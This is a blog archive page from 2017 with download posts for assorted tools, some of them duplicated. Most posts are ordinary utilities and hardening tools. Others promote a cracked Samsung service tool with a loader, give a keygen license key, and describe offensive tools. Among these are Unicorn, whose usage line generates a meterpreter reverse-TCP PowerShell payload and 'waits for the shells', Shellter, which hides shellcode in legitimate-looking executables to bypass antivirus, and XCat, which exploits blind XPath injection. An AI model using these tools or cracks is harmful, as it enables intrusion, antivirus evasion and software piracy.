Showing posts with label tool. Show all posts
Showing posts with label tool. Show all posts
Sunday, April 30, 2017
Z3x Samsung Tool Pro 24 4 Full Cracked Working Without Box 1000 Tested Free Download
Z3x Samsung Tool Pro 24 4 Full Cracked Working Without Box 1000 Tested Free Download
Z3x Samsung Tool Pro 24.4 Full Cracked Working Without Box 1000% Tested Free Download
Z3X Samsung Tool Pro 24.4 Crack Setup Full Free Download No Pasword
Latest Crack Z3X Samsung Tool Pro 24.4 Crack Software Run Without Box No Password
Z3X 24.4 Crack Samsung Tool Pro Free Download No HWID Without Password
Latest Z3X box Crack Samsung Tool Pro 24.4 Only Loader NO HWID Free Download
Z3x Samsung Tool Pro 24.4
Latest Crack Update 2016
___________________________________________
No Need Box, No Need Credit
No Need Any Hwid, NO Need Registration
_____________________________________________
Full Free Without password
1000% Working Crack Loader
-------------------------
Virus Free So No Tension
How to Setup Crack
> Extract Z3x 24.4 Crack Zip Achive
> Open/Run as Administrator Copie de gsm-magic
> Extract Z3x 24.4 Crack Zip Achive
> Open/Run as Administrator Copie de gsm-magic
> Click Enable
> Now Open/Run As Administrator Z3x 24.4 Loader
> Click Start Loader .......wait sometime
> Enjoy Full Z3x Samsung Tool Pro 24.4 Free
_______________________
Download Z3x Samsung Tool Pro 24.4 Crack Here
Link#1
Link#1
Download
Link#2
Download
Go to link download
Saturday, April 29, 2017
Bing Dork Scanner Tool to extract urls from a bing search
Bing Dork Scanner Tool to extract urls from a bing search
This is a simple script with GUI, to extract urls from a bing search.
Support only HTTP proxy.
Required Perl Modules:
- LWP
- Gtk2
- Glib
- uft8
- threads
- threads::shared
- URI::Escape
Download Bing Dork Scanner
Go to link download
Thursday, April 27, 2017
KINGROOT APK – The One Click Root Tool For Almost All Devices
KINGROOT APK – The One Click Root Tool For Almost All Devices
KingRoot Apk – One Click Root Tool For Almost All Devices.
KingRoot apk is an amazing tool for “lazy people” who just want to get root access but don’t want to flash any third party Recovery into their lovely device. It is one of the most famous root tool in China and now we release English version here for everyone, totally free and without AD.
Something interesting will happen when you root your device by KingRoot, the most suitable Root strategy will be deployed from cloud, that is why we have higher success rate that some other tools. Specifically, root success rate will higher than 60% on supported device.
What’s New In v5.0.4?
- Optimize the Root process experience, improve efficiency
- Repair part of the user feedback
How to root using Kingroot Apk ?
- Download the apk given below
- Install it into you device.
- Run it , done! KingRoot will do every other thing for you.
Supported Devices List
- List of Samsung Devices
- List of Google/Nexus Devices
- List Of Htc Devices
- List of Sony devices
- List Of LG Devices
- List of Zte Devices
- List Of Huawei Devices
Note
- Root Has risks and May void Your WARRANTY.
- ithubspk is not responsible for any bricked Phones or anything that happens to your Phone while performing this procedure.
- Do this at your own risk
Screenshots
Download Links
Kingroot v5.0.4 build 20170303 APK (18.4 MB) | Mirror
Go to link download
Wednesday, April 26, 2017
XCat Tool that aides in the exploitation of blind XPath injection vulnerabilities
XCat Tool that aides in the exploitation of blind XPath injection vulnerabilities
XCat is a command line program that aides in the exploitation of blind XPath injection vulnerabilities. It can be used to retrieve the whole XML document being processed by a vulnerable XPath query, read arbitrary files on the hosts filesystem and utilize out of bound HTTP requests to make the server send data directly to xcat.
XCat is built to exploit boolean XPath injections (Where only one bit of data can be extracted in one request) and it requires you to manually identify the exploit first, this does not do that for you.
Features
- Exploits both GET and POST attacks
- Extracts all nodes, comments, attributes and data from the entire XML document
- Small and lightweight (only a few pure-python dependencies)
- Parallel requests
- XPath 2.0 supported (with graceful degrading to 1.0)
- Advanced data postback through HTTP (see below)
- Arbitrarily read XML files on the servers file system via the doc() function (see below)
- Arbitrarily read text files on the servers file system via crafted SYSTEM entities
Examples
If you run a windows machine you can install Jython and start the example application (example_application/ironpython_site.py). The syntax for a simple command you can execute against this server is:
xcat --method=GET http://localhost:8080 title=Foundation title "1 results found" run retrieveThis command specifies the HTTP method (GET), target URL (our localhost server), the GET or POST) data to send (title=Bible), the vulnerable parameter (title) and a string to indicate a true response (Book found). Executing this will retrieve the entire XML file being queried.
>> xcat --method=GET http://localhost:8080 title=Foundation title "1 results found" run retrieve
Injecting using FunctionCall
Detecting features...
Supported features: String to codepoints, XPath 2, Read local XML files, Substring search speedup
Retrieving /*[1]
<?xml version="1.0" encoding="utf-8"?>
<library>
<rentals>
<books>
<!-- A comment -->
<book>
...The the retrieval of documents can be sped up in a number of different ways, such as using the doc function to make the server send data directly to XCat (explained in more detail below). Each of the techniques is called a feature and can be viewed by using the
test_injection command. This will display information about the injection, including the type (integer, string, path name) and various features that XCat has is able to use. XCat knows which features are best and will gracefully degrade if they fail for any reason.>> xcat --method=GET --public-ip="localhost" http://localhost:8080 title=Foundation title "1 results found" test_injection
Testing parameter title:
FunctionCallInjection: /lib/something[function(?)]
- EfficientSubstringSearch
- OOBDocFeature
- CodepointSearch
- XPath2
- DocFeature
- EntityInjectionDownload XCat
Go to link download
Egresser Tool to Enumerate Outbound Firewall Rules
Egresser Tool to Enumerate Outbound Firewall Rules
Egresser is a tool to enumerate outbound firewall rules, designed for penetration testers to assess whether egress filtering is adequate from within a corporate network. Probing each TCP port in turn, the Egresser server will respond with the client’s source IP address and port, allowing the client to determine whether or not the outbound port is permitted (both on IPv4 and IPv6) and to assess whether NAT traversal is likely to be taking place.
How it Works
The server-side script works in combination with Iptables - redirecting all TCP traffic to port 8080 where the ‘real’ server resides. The server-side script is written in Perl and is a pre-forking server utilising Net::Server::Prefork, listening on both IPv4 and IPv6 if available. Any TCP connection results in a simple response containing a null terminated string made up of the connecting client’s IP and port. Feel free to use Telnet to interact with the service if you are in a restricted environment without access to the Egresser client (our Egresser server can be found at egresser.labs.cyberis.co.uk, which you are free to use for legitimate purposes).
The client is also written in Perl and is threaded for speed. By default it will scan TCP ports 1-1024, although this is configurable within the script. It is possible to force IPv4 with the ‘-4’ command line argument, or IPv6 with ‘-6’; by default it will choose the protocol preferred by your operating system. If you want to explicitly list all open/closed ports, specify the verbose flag (-v), as normal output is a concise summary of permitted ports only.
It is recommended that outbound firewall rules are restricted within corporate environments to ensure perimeter controls are not easily circumvented. For example, inadequate egress filtering within an organisation would allow a malicious user to trivially bypass a web proxy providing filtering/AV/logging simply by changing a browser’s connection settings. Many other examples also exist - many worms spread over SMB protocols, malware can use numerous channels to exfiltrate data, and potentially unauthorised software (e.g. torrent/P2P file sharing) can freely operate, wasting corporate resources and significantly increasing the likelihood of malicious code being introduced into the environment.
Generally, it is recommended that all outbound protocols should be restricted, allowing exceptions from specific hosts on a case-by-case basis. Web browsing should be conducted via dedicated web proxies only, with any attempted direct connections logged by the perimeter firewall and investigated as necessary.
Egresser is a simple to use tool to allow a penetration tester to quickly enumerate allowed ports within a corporate environment.
Download Egresser
Go to link download
Tuesday, April 25, 2017
Tool Pengolah Foto Instagram
Tool Pengolah Foto Instagram
Pengguna Instagram di Android: Membuat kolase foto Anda sendiri dengan mudah.
Layanan foto akhirnya membuat Layout, aplikasi mandiri untuk kolase kustom, tersedia untuk pengguna Android. Perusahaan juga memperbarui aplikasi Android utamanya dengan alat foto-editing disebut Struktur baru.
Anda juga dapat menembak foto dalam aplikasi menggunakan fitur "booth foto", yang mengambil serangkaian selfi cepat dan secara otomatis mengatur mereka ke dalam kolase. Semua kolase secara otomatis dipotong ke dalam format persegi Instagram ramah, dan dapat dibagi ke Instagram dan Facebook.
Image: Instagram
Pengguna Android juga mendapatkan alat editing baru di app Instagram utama, yang juga diperbarui Selasa. Struktur, tersedia sekarang di Android dan "segera" untuk iOS, "membawa keluar rincian dan tekstur di foto," menurut juru bicara Instagram.
sumber mashable.com
Go to link download
Monday, April 24, 2017
Tool Untuk Mengambil Video Dari Cache di Browser Web Anda
Tool Untuk Mengambil Video Dari Cache di Browser Web Anda
Jika Anda pernah mengklik "delete offline content" di browser web Anda dan memperhatikan berapa banyak ruang disk yang akan dibebaskan, Anda akan tahu bahwa browser menyimpan salinan lokal dari hampir segala sesuatu yang Anda telah melihat. Tidak hanya halaman teks dan gambar, tetapi seluruh video juga. Kadang-kadang bisa agak canggung jika Anda memeriksa cache browser dari seseorang yang tidak menyadari bahwa ini berlangsung!
Jika Anda tahu di mana menemukan folder cache browser Anda, Anda dapat mengambil video dari sana. Yang berarti bahwa Anda dapat kembali menonton sesuatu tanpa perlu mendownload atau ingat situs yang Anda menemukannya di. Anda juga dapat menyimpan salinan lokal di lokasi yang lebih permanen, sekali Anda menyadari bahwa sesuatu yang Anda tersandung pada sebenarnya layak disimpan.
Video Cache View, dari Nir Sofer selalu baik, adalah alat yang Anda butuhkan untuk menjelajahi tembolok video Anda. Download dari http://www.nirsoft.net/utils/video_cache_view.html untuk memulai. Ini kurang dari 1 MB untuk men-download dan malware-bebas menurut VirusTotal dan Web of Trust.
Ketika Anda menjalankan itu, program ini akan mencari semua lokasi cache browser Anda (dengan asumsi Anda menggunakan salah satu browser terkenal). Anda kemudian dapat melihat daftar video yang disimpan dan memilih apa yang harus dilakukan dengan mereka. Dan jika Anda memutuskan bahwa Anda tidak benar-benar membutuhkan salah satu dari mereka, maka Anda dapat menghapus mereka semua untuk membebaskan banyak ruang disk.
sumber http://www.techsupportalert.com/
Go to link download
Oracle Password Auditor Oracle Password Recovery Auditing Tool
Oracle Password Auditor Oracle Password Recovery Auditing Tool
Oracle Password Auditor is the FREE Oracle database password recovery and auditing software.
It not only helps you to recover lost or forgotten Oracle database password but also audit Oracle database setup in an corporate environment by discovering the weak password configurations.
During auditing operation, it detects special cases such as Account Lockout, Incorrect Oracle SID, Session Limit problems etc. In such cases it stops the operation rather than blindly continuing with the errors. Penetration testers can use this feature to detect any account lockout issues and further verify if it is susceptible to such DDOS attacks.
It uses simple & faster dictionary based password recovery method. Also in the beginning it can automatically check for well known default user/password combinations.
It is very easy to use with a cool GUI interface and a handy tool for IT administrators & Penetration Testers.
It works on wide range of platforms starting from Windows XP to Windows 8.
Download Oracle Password Auditor
Go to link download
Saturday, April 22, 2017
Lynis 1 6 4 Security auditing tool for Unix Linux systems
Lynis 1 6 4 Security auditing tool for Unix Linux systems
Lynis is an open source security auditing tool. Primary goal is to help users with auditing and hardening of Unix and Linux based systems. The software is very flexible and runs on almost every Unix based system (including Mac). Even the installation of the software itself is optional!
How it works
Lynis will perform hundreds of individual tests to determine the security state of the system. Many of these tests are also part of common security guidelines and standards. Examples include searching for installed software and determine possible configuration flaws. Lynis goes further and does also test individual software components, checks related configuration files and measures performance. After these tests, a scan report will be displayed with all discovered findings.
Typical use cases for Lynis:
Typical use cases for Lynis:
- Security auditing
- Vulnerability scanning
- System hardening
Requirements:
Changelog:
New:
- Boot loader detection for AIX [BOOT-5102]
- Detection of getcap and lsvg binary
- Added filesystem_ext to report
- Detect rootsh
Changes:
- Hide errors when RPM database is faulty and show suggestion instead [PKGS-7308]
- Allow OpenBSD to gather information on listening network ports [NETW-3012]
- Dont trigger warning for Shellshock when doing segfault test [SHLL-6290]
- Do not run Apache test on OpenBSD and strip control chars [HTTP-6624]
- Extended AIDE test with configuration validation test [FIND-4314]
- Improved Shellshock test regarding non-Linux support [SHLL-6290]
- Added support for gathering volume groups on AIX [FILE-6311]
- Properly parse PAM lines and add them to report [AUTH-9264]
- Support for boot loader detection on OpenBSD [BOOT-5159]
- Added uptime detection for OpenBSD systems [BOOT-5202]
- Support for volume groups on AIX [FILE-6312]
- Redirect errors when searching for readlink binary
Privileged or non-privileged
New:
- Boot loader detection for AIX [BOOT-5102]
- Detection of getcap and lsvg binary
- Added filesystem_ext to report
- Detect rootsh
Changes:
- Hide errors when RPM database is faulty and show suggestion instead [PKGS-7308]
- Allow OpenBSD to gather information on listening network ports [NETW-3012]
- Dont trigger warning for Shellshock when doing segfault test [SHLL-6290]
- Do not run Apache test on OpenBSD and strip control chars [HTTP-6624]
- Extended AIDE test with configuration validation test [FIND-4314]
- Improved Shellshock test regarding non-Linux support [SHLL-6290]
- Added support for gathering volume groups on AIX [FILE-6311]
- Properly parse PAM lines and add them to report [AUTH-9264]
- Support for boot loader detection on OpenBSD [BOOT-5159]
- Added uptime detection for OpenBSD systems [BOOT-5202]
- Support for volume groups on AIX [FILE-6312]
- Redirect errors when searching for readlink binary
Download Lynis 1.6.4
Go to link download
Friday, April 21, 2017
WPHardening WPHardening fortification is a security tool for WordPress
WPHardening WPHardening fortification is a security tool for WordPress
WPHardening is a security tool for WordPress. Different tools to hardening WordPress.
Usage
$ python wphardening.py -h
Options:
--version show programs version number and exit
-h, --help show this help message and exit
-v, --verbose Active verbose mode output results
--update Check for WPHardening latest stable version
Target:
This option must be specified to modify the package WordPress.
-d DIRECTORY, --dir=DIRECTORY
**REQUIRED** - Working Directory.
Hardening:
Different tools to hardening WordPress.
-c, --chmod Chmod 755 in directory and 644 in files.
-r, --remove Remove files and directory.
-b, --robots Create file robots.txt
-f, --fingerprinting
Deleted fingerprinting WordPress.
-t, --timthumb Find the library TimThumb.
--wp-config Wizard generated wp-config.php
--delete-version Deleted version WordPress.
--plugins Download Plugins Security.
--proxy=PROXY Use a HTTP proxy to connect to the target url for
--plugins and --wp-config.
--indexes It allows you to display the contents of directories.
Miscellaneous:
-o FILE, --output=FILE
Write log report to FILE.log
Examples
Check a WordPress Project$ python wphardening.py -d /home/path/wordpress -v
$ python wphardening.py -d /home/path/wordpress --chmod -v
$ python wphardening.py -d /home/path/wordpress --remove -v
$ python wphardening.py -d /home/path/wordpress --robots -v
$ python wphardening.py -d /home/path/wordpress --fingerprinting -v
$ python wphardening.py -d /home/path/wordpress --timthumb -v
$ python wphardening.py -d /home/path/wordpress --indexes -v
$ python wphardening.py -d /home/path/wordpress --plugins
$ python wphardening.py -d /home/path/wordpress --wp-config
$ python wphardening.py -d /home/path/wordpress --delete-version -v
$ python wphardening.py --update
$ python wphardening.py -d /home/user/wordpress -c -r -f -t --wp-config --delete-version --indexes --plugins -o /home/user/wphardening.logDownload WPHardening
Go to link download
Thursday, April 20, 2017
Lynis 1 6 0 Security auditing tool for Unix Linux systems
Lynis 1 6 0 Security auditing tool for Unix Linux systems
Lynis is an open source security auditing tool. Primary goal is to help users with auditing and hardening of Unix and Linux based systems. The software is very flexible and runs on almost every Unix based system (including Mac). Even the installation of the software itself is optional!
How it works
Lynis will perform hundreds of individual tests to determine the security state of the system. Many of these tests are also part of common security guidelines and standards. Examples include searching for installed software and determine possible configuration flaws. Lynis goes further and does also test individual software components, checks related configuration files and measures performance. After these tests, a scan report will be displayed with all discovered findings.
Typical use cases for Lynis:
- Security auditing
- Vulnerability scanning
- System hardening
Why open source?
Open source software provides trust by having people look into the code. Adjustments are easily made, providing you with a flexible solution for your business. But can you trust systems and software with your data? Lynis provides you this confidence. It does so with extensive auditing of your systems. This way you can verify and stay in control of your security needs.
Download Lynis 1.6.0
Go to link download
Tool Gratis Untuk Melihat Seberapa Lama Anda Kerja di PC
Tool Gratis Untuk Melihat Seberapa Lama Anda Kerja di PC
Work Time Monitor adalah utilitas gratis untuk Windows yang membuat file log berbasis teks sederhana ketika Anda aktif di PC Anda. Ini adalah cara sederhana untuk mengetahui berapa lama Anda habiskan bekerja di komputer Anda. Program ini sudah ada beberapa tahun yang lalu, tapi sudah melalui beberapa revisi.
Anda bisa menemukan an download di http://rovice.com/wtmon/ dan itu kurang dari 0,5 MB. Tool ini berjalan pada semua versi terbaru dari Windows.
Program ini bebas malware menurut VirusTotal dan Web of Trust. Ada beberapa rincian lebih lanjut di http://rovice.com/wtmon/guide.html jika Anda ingin informasi lebih lanjut tentang program ini.
Setelah terinstal, utilitas akan menambahkan ikon kecil pada system tray. Untuk melihat log aktivitas, cukup klik pada icon. Namun, perlu diketahui bahwa log diperbarui setiap hari sehingga Anda tidak akan mendapatkan hasil apapun sampai hari setelah Anda menginstal perangkat lunak tersebut.
sumber techsupportalert.com
Go to link download
Wednesday, April 19, 2017
LONG PATH TOOL 4 7 1 INCL KEYGEN CRACK PATCH
LONG PATH TOOL 4 7 1 INCL KEYGEN CRACK PATCH
Download
Link
key: 3969571672256892600
Go to link download
Sunday, April 16, 2017
Webpage ko pdf file me convert karne ke top 5 online tool
Webpage ko pdf file me convert karne ke top 5 online tool
Is post me ham janenge webpage ko pdf file me convert kaise karte hai aur webpage ko pdf file me convert ke best 5 online tools.
Yadi internet ki kisi website me hamari kaam ki koi jankari uplabdh hai aur wo hame baar-baar kaam padti hai. us jankari ko hame dobara pane ke liye baar-baar us website ko open karna padta hai. jis se hamara samay bhi barbad hota hai aur data bhi.
Lekin is post ki trick se na hi aapka samay barbaad hoga na hi data. jo webpage aapke kaam ka hai uski pdf file download karna hai aur jab bhi jaroorat ho pdf open karke aap jankari offline pa sakte hai.
Yadi internet ki kisi website me hamari kaam ki koi jankari uplabdh hai aur wo hame baar-baar kaam padti hai. us jankari ko hame dobara pane ke liye baar-baar us website ko open karna padta hai. jis se hamara samay bhi barbad hota hai aur data bhi.
Lekin is post ki trick se na hi aapka samay barbaad hoga na hi data. jo webpage aapke kaam ka hai uski pdf file download karna hai aur jab bhi jaroorat ho pdf open karke aap jankari offline pa sakte hai.
Webpage ko pdf file me convert kaise karte hai
1. Jis webpage ko pdf file me convert karna hai uski link copy kare.
2. is link ko open kare- webpage2pdfconverter.com
3. box me apne webpage ki link paste kare jo hamne 1st step me copy kiya tha.
4. Convert to pdf button me click kare.
5. Convert to pdf button me click karne ke thodi der baad aapke webpage ki pdf file taiyar ho jayegi. ise download karne ke liye Download pdf button me click kare.
Finish
Top 5 webpage to pdf converter websites
1. www.webpage2pdfconverter.com
2. www.web2pdf.com
3. www.pdfonline.com
4. www.veevaweb2pdf.com
5. www.pdfcrawd.com
Webpage ko pdf me convert karne ke fayde
1. Time ki bachat hoti hai.
2. data ki bachat hoti hai.
3. file save rehti hai.
4. offline bhi use kar sakte hai.
Yadi is post se aapki thodi bhi madad hui ho to hamari madad karne ke liye hamara fb page like kare aur is post ko apne friends ke saath share kare.
Go to link download
Unicorn Tool for using a PowerShell downgrade attack and inject shellcode straight into memory
Unicorn Tool for using a PowerShell downgrade attack and inject shellcode straight into memory
Magic Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graebers powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18.
Usage is simple, just run Magic Unicorn (ensure Metasploit is installed and in the right path) and magic unicorn will automatically generate a powershell command that you need to simply cut and paste the powershell code into a command line window or through a payload delivery system.
root@bt:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/_ --(/|___/-/
|_-___ __-_`- /-/ .
|_-___,-_____--/_) )
-_ / __ ( `( __`|
`__| |) ) /(/|
,._____., ,--//-| | /
/ __. , / /,---| /
/ / _. `/`_/ _, | |
| | ( ( | ,/__// | |
| `--, `_/_------______/ ( )/
| | _. , ___/
| | _
_ /
._ __ _| |
___ |
__ __ _ | |
| _____ ____ | |
| __ --- .__ | | |
__ --- / ) | /
____/ / ()( `---_ /|
__________/(,--__ _________. | ./ |
| `---_--, _,./ |
| _ ` /`---_______- /
.___,`| /
| _ | ( |: |
| / / | ;
( `_ |
. . `__/ | |
. | |
( )
| | | |
| I `
( __; ( _; (-_;
|___ ___: ___:Unicorn is a PowerShell injection tool utilizing Matthew Graebers attack and expanded to automatically downgrade the process if a 64 bit platform is detected. This is useful in order to ensure that we can deliver a payload with just one set of shellcode instructions. This will work on any version of Windows with PowerShell installed. Simply copy and paste the output and wait for the shells.
Usage:
python unicorn.py payload reverse_ipaddr port Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443Download Unicorn
Go to link download
Thursday, April 13, 2017
WirelessNetView Wireless Network Monitoring Tool
WirelessNetView Wireless Network Monitoring Tool
WirelessNetView is a small utility that runs in the background, and monitor the activity of wireless networks around you. For each detected network, it displays the following information: SSID, Last Signal Quality, Average Signal Quality, Detection Counter, Authentication Algorithm, Cipher Algorithm, MAC Address, RSSI, Channel Frequency, Channel Number, and more.
Command-Line Options
| /stext <Filename> | Save the list of wireless networks into a regular text file. |
| /stab <Filename> | Save the list of wireless networks into a tab-delimited text file. |
| /scomma <Filename> | Save the list of wireless networks into a comma-delimited text file (csv). |
| /stabular <Filename> | Save the list of wireless networks into a tabular text file. |
| /shtml <Filename> | Save the list of wireless networks into HTML file (Horizontal). |
| /sverhtml <Filename> | Save the list of wireless networks into HTML file (Vertical). |
| /sxml <Filename> | Save the list of wireless networks into XML file. |
| /sort <column> | This command-line option can be used with other save options for sorting by the desired column. If you dont specify this option, the list is sorted according to the last sort that you made from the user interface. The <column> parameter can specify the column index (0 for the first column, 1 for the second column, and so on) or the name of the column, like "SSID" and "Last Signal". You can specify the ~ prefix character (e.g: "~SSID") if you want to sort in descending order. You can put multiple /sort in the command-line if you want to sort by multiple columns. Examples: WirelessNetView.exe /shtml "f: empwireless.html" /sort 2 /sort ~1 WirelessNetView.exe /shtml "f: empwireless.html" /sort "~Security Enabled" /sort "SSID" |
| /nosort | When you specify this command-line option, the list will be saved without any sorting. |
Download WirelessNetView
Go to link download
Wednesday, April 12, 2017
Daphne Tool for killing controlling and debugging processes in Windows
Daphne Tool for killing controlling and debugging processes in Windows
Daphne is a small application for killing, controlling and debugging Windows’ processes. It was born to kill a windows process and became almost a task manager replacement. You can kill a process by dragging the mouse over the windows, by right-clicking the process in the main process list, or by typing its name with the “Kill all by name” command. You can set a any window to be always on top, to be transparent, to be enable, et cetera. Although Daphne was born just to kill windows process. You can think of Daphne as a task manager replacement. The main window displays a list of currently running process with detailed information about: CPU usage, Process ID, Process name, Full path (and arguments), Priority, Class (Process / Service), Current memory usage, Peek memory usage, Current swap usage, Peek swap usage and Number of threads.
You can hide applications, hack programs GUI, and inspect deep process information.
New in Daphne v2.02:
- Copy process list to clipboard in CSV format
- Explorer integration add extras
- Set window size using numbers (ie. 640x648)
- Trap window size and position
- Schedule popup message
- Hanlde min/max process working set size
- Drag and dro to find window in process windows tree
- Fix: Explorer integration: Open CMD shows over folder and files now
- Fix: Installer takes care of removing previous version automatically
Download Daphne
Go to link download
Tuesday, April 11, 2017
SmartSPLAT Tool to troubleshoot Checkpoint firewall issues and perform management tasks
SmartSPLAT Tool to troubleshoot Checkpoint firewall issues and perform management tasks
Smart SPLAT is a freeware software to troubleshoot Checkpoint firewall issues and perform management tasks.
It periodically checks for an update and when a new release is published, updates itself via the SmartSPLAT web site.
SmartSPLAT lets you connect to your firewall via secure channel SSH
Critical commands like cpstop, kill, reboot and etc. deleting a license or similar commands that can cause your firewall not to function properly are colored red protected by checkboxes and shows confirmation dialogs.
In this project we have used an ssh Library based on the Poderosa project.
For file transfer operations, SmartSPLAT uses putty pscp.exe, to work with SCP /etc/scpusers/ file should be modified.
Smart SPLAT has a script named preparescp. It checks if user exists at /etc/scpusers/ if not, adds a line for it.
Download SmartSPLAT
Go to link download
Sunday, April 9, 2017
Shellter v1 7 Dynamic ShellCode Injector Tool
Shellter v1 7 Dynamic ShellCode Injector Tool
Shellter is a dynamic shellcode injection tool, and probably the first dynamic PE infector ever created.
It can be used in order to inject shellcode into native Windows applications (currently 32-bit apps only).
The shellcode can be something yours or something generated through a framework, such as Metasploit.
Shellter takes advantage of the original structure of the PE file and doesn’t apply any modification such as changing memory access permissions in sections (unless the user wants and/or he chooses Basic Mode), adding an extra section with RWE access,and whatever would look dodgy under an AV scan.
Shellter uses a unique dynamic approach which is based on the execution flow of the target application.
How does it work?
Shellter uses a unique dynamic approach which is based on the execution flow of the target application. This means that no static/predefined locations are used for shellcode injection. Shellter will launch and trace the target, while at the same time will log the execution flow of the application.
What does it trace?
Shellter traces the entire execution flow that occurs in userland. That means,code inside the target application itself (PE image), and code outside of it that might be in a system dll or on a heap, etc. This happens in order to ensure that functions actually belonging to the target executable, but are only used as callback functions for Windows APIs will not be missed.
However, the tracing engine will not log any instructions that are not in the memory range of the PE image of the target application, since these cannot be used as a reference to permanently inject the shellcode.
Why do I need Shellter?
Bypass AVs.
Executables created through Metasploit are most likely detected by most AV vendors. By using Shellter, you automatically have an infinitely polymorphic executable template, since you can use any 32-bit ‘standalone’ native Windows executable to host your shellcode. By ‘standalone’ means an executable that doesn’t need any proprietary DLLs, apart from the system DLLs to load and run. For example, notepad.exe, and many other applications you can find online, or create by yourself as your own custom templates.
You can also use applications that make use of proprietary DLLs if those are not required to create the process in the first place, and are normally loaded later on if needed to execute code for a specific task. In case you select an application that needs one or more proprietary DLLs to create the process in the first place then you will have to include them in the same directory from where you load the main executable. However, this is not recommended since it is more convenient to have just a single executable to upload to the target.
What types of apps can I use?
You can basically use any 32-bit standalone (see above) native Windows application. Of course, since the main goal is to bypass an AV,you should always avoid packed applications or generally applications that have ‘dodgy’
characteristics such as sections with RWE permissions, more than one sections containing executable code etc..
Another reason why you should avoid packed applications is because advanced packers will also check for modifications of the file, so you will probably just break it. Advanced packers also perform various anti-reversing tricks which will detect Shellter’s debugging engine during tracing. If you are a lover of packers, you can first perform the injection and then pack the application with the packer of your choice.
The best bet is to use completely legitimate looking applications (ideally not packed) that are not flagged by any AV vendor for any reason.
These can be either yours, or something you got online.
Can I use encoded/self-decrypting payloads?
Shellter also supports encoded/self-decrypting payloads by taking advantage of the Imports Table of the application. It will look for specific imported APIs that can be used on runtime to execute a self-decrypting payload without doing any modifications in the section’s characteristics from inside the PE Header.
At the moment 7 methods are supported for loading encoded payloads:
If the target PE file doesn’t import by default the necessary API(s) then a method wil be shown as ‘N/A’.
If a method requires more than one APIs, like for example method 4, it will also be shown as ‘N/A’ if the PE file doesn’t import all of them.
If none of the encoded payload handler methods supported are available for the current PE target, you can choose to either select a non-encoded payload or to change the section’s characteristics from inside the PE Header.
This last option has been added in order to provide more flexibility to the user in case he still wants to use a specific encoded payload along with the same PE file.
How does it work?
Shellter uses a unique dynamic approach which is based on the execution flow of the target application. This means that no static/predefined locations are used for shellcode injection. Shellter will launch and trace the target, while at the same time will log the execution flow of the application.
What does it trace?
Shellter traces the entire execution flow that occurs in userland. That means,code inside the target application itself (PE image), and code outside of it that might be in a system dll or on a heap, etc. This happens in order to ensure that functions actually belonging to the target executable, but are only used as callback functions for Windows APIs will not be missed.
However, the tracing engine will not log any instructions that are not in the memory range of the PE image of the target application, since these cannot be used as a reference to permanently inject the shellcode.
Why do I need Shellter?
Bypass AVs.
Executables created through Metasploit are most likely detected by most AV vendors. By using Shellter, you automatically have an infinitely polymorphic executable template, since you can use any 32-bit ‘standalone’ native Windows executable to host your shellcode. By ‘standalone’ means an executable that doesn’t need any proprietary DLLs, apart from the system DLLs to load and run. For example, notepad.exe, and many other applications you can find online, or create by yourself as your own custom templates.
You can also use applications that make use of proprietary DLLs if those are not required to create the process in the first place, and are normally loaded later on if needed to execute code for a specific task. In case you select an application that needs one or more proprietary DLLs to create the process in the first place then you will have to include them in the same directory from where you load the main executable. However, this is not recommended since it is more convenient to have just a single executable to upload to the target.
What types of apps can I use?
You can basically use any 32-bit standalone (see above) native Windows application. Of course, since the main goal is to bypass an AV,you should always avoid packed applications or generally applications that have ‘dodgy’
characteristics such as sections with RWE permissions, more than one sections containing executable code etc..
Another reason why you should avoid packed applications is because advanced packers will also check for modifications of the file, so you will probably just break it. Advanced packers also perform various anti-reversing tricks which will detect Shellter’s debugging engine during tracing. If you are a lover of packers, you can first perform the injection and then pack the application with the packer of your choice.
The best bet is to use completely legitimate looking applications (ideally not packed) that are not flagged by any AV vendor for any reason.
These can be either yours, or something you got online.
Can I use encoded/self-decrypting payloads?
Shellter also supports encoded/self-decrypting payloads by taking advantage of the Imports Table of the application. It will look for specific imported APIs that can be used on runtime to execute a self-decrypting payload without doing any modifications in the section’s characteristics from inside the PE Header.
At the moment 7 methods are supported for loading encoded payloads:
- VirtualAlloc
- VirtualAllocEx
- VirtualProtect
- VirtualProtectEx
- HeapCreate/HeapAlloc
- LoadLibrary/GetProcAddress
- CreateFileMapping/MapViewOfFile
If the target PE file doesn’t import by default the necessary API(s) then a method wil be shown as ‘N/A’.
If a method requires more than one APIs, like for example method 4, it will also be shown as ‘N/A’ if the PE file doesn’t import all of them.
If none of the encoded payload handler methods supported are available for the current PE target, you can choose to either select a non-encoded payload or to change the section’s characteristics from inside the PE Header.
This last option has been added in order to provide more flexibility to the user in case he still wants to use a specific encoded payload along with the same PE file.
Download Shellter v1.7
Go to link download
Wednesday, April 5, 2017
Web Application Protection Tool to detect and correct vulnerabilities in PHP web applications
Web Application Protection Tool to detect and correct vulnerabilities in PHP web applications
WAP 2.0 is a source code static analysis and data mining tool to detect and correct input validation vulnerabilities in web applications written in PHP (version 4.0 or higher) and with a low rate of false positives. WAP detects and corrects the following vulnerabilities:
- SQL Injection (SQLI)
- Cross-site scripting (XSS)
- Remote File Inclusion (RFI)
- Local File Inclusion (LFI)
- Directory Traversal or Path Traversal (DT/PT)
- Source Code Disclosure (SCD)
- OS Command Injection (OSCI)
- PHP Code Injection
This tool semantically analyses the source code. More precisely, it does taint analysis (data-flow analysis) to detect the input validation vulnerabilities. The aim of the taint analysis is to track malicious inputs inserted by entry points ($_GET, $_POST arrays) and to verify if they reaches some sensitive sink (PHP functions that can be exploited by malicious input). After the detection, the tool uses data mining to confirm if the vulnerabilities are real or false positives. At the end, the real vulnerabilities are corrected with the insertion of the fixes (small pieces of code) in the source code. WAP is written in Java language and is constituted by three modules:
- Code Analyzer: composed by tree generator and taint analyser. The tool has integrated a lexer and a parser generated by ANTLR, and based in a grammar and a tree grammar written to PHP language. The tree generator uses the lexer and the parser to build the AST (Abstract Sintatic Tree) to each PHP file. The taint analyzer performs the taint analysis navigating through the AST to detect potentials vulnerabilities.
